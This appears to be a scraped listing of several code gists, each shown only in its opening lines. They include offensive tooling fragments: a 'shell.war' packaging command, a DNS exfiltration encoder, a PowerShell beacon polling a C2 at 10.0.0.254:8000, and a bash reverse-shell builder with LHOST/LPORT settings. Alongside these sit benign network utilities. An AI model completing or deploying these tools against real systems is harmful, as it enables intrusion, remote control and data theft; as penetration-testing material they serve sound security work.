zip -r ../shell.war *
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# DNS requests created: <clientid>.<type>.<msgid>.<oftotalids>.<data>.<random>.<domain> | |
# | |
Function ConvertTo-Blocks() { | |
param( | |
[String]$String, | |
[int]$Size | |
) | |
[Array]$output = @() | |
for ($i=0; $i -lt $String.Length; $i+=$Size) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$url = "http://10.0.0.254:8000"; | |
$clientid = "1234567"; | |
$polltime = 5; | |
$wc = New-Object System.Net.WebClient; | |
$whc = New-Object System.Net.WebHeaderCollection; | |
$whc.Add("X-Client-Id", $clientid) | |
$wc.Headers = $whc | |
while ($true) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# This is not great... | |
# | |
NAME=Shell | |
TAC=TrustAllCertificates | |
LHOST=10.0.0.254 | |
LPORT=4444 | |
COMMAND='"powershell"' | |
CURDIR=$(pwd) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import argparse | |
import requests | |
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) | |
import logging | |
import logging.config | |
logconfig = {'version': 1, | |
'disable_existing_loggers': False, | |
'formatters': {'standard': {'format': '[%(levelname)s] %(message)s'}}, | |
'handlers': {'default': {'level': 'DEBUG', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from netaddr import IPNetwork | |
network = IPNetwork('192.168.21.2/26') | |
print('Network: {0} - {1}'.format(network.network, network.broadcast)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"proxy":{ | |
"request_listeners":[ | |
{ | |
"certificate_mode":"per_host", | |
"listen_mode":"all_interfaces", | |
"listener_port":8080, | |
"running":true, | |
"support_invisible_proxying":true | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#requires -Version 1 | |
function Test-Port | |
{ | |
Param([string]$ComputerName,$port = 5985,$timeout = 1000) | |
try | |
{ | |
$tcpclient = New-Object -TypeName system.Net.Sockets.TcpClient | |
$iar = $tcpclient.BeginConnect($ComputerName,$port,$null,$null) | |
$wait = $iar.AsyncWaitHandle.WaitOne($timeout,$false) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import time | |
from itertools import product | |
import sys | |
from scapy.all import * | |
prefixes = ['001122','445566'] | |
timeout = 10 | |
breakcounter = 255 | |
iface = 'eth0' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import logging | |
import logging.config | |
import os | |
import sqlite3 | |
import tempfile | |
import argparse | |
import re | |
from bs4 import BeautifulSoup |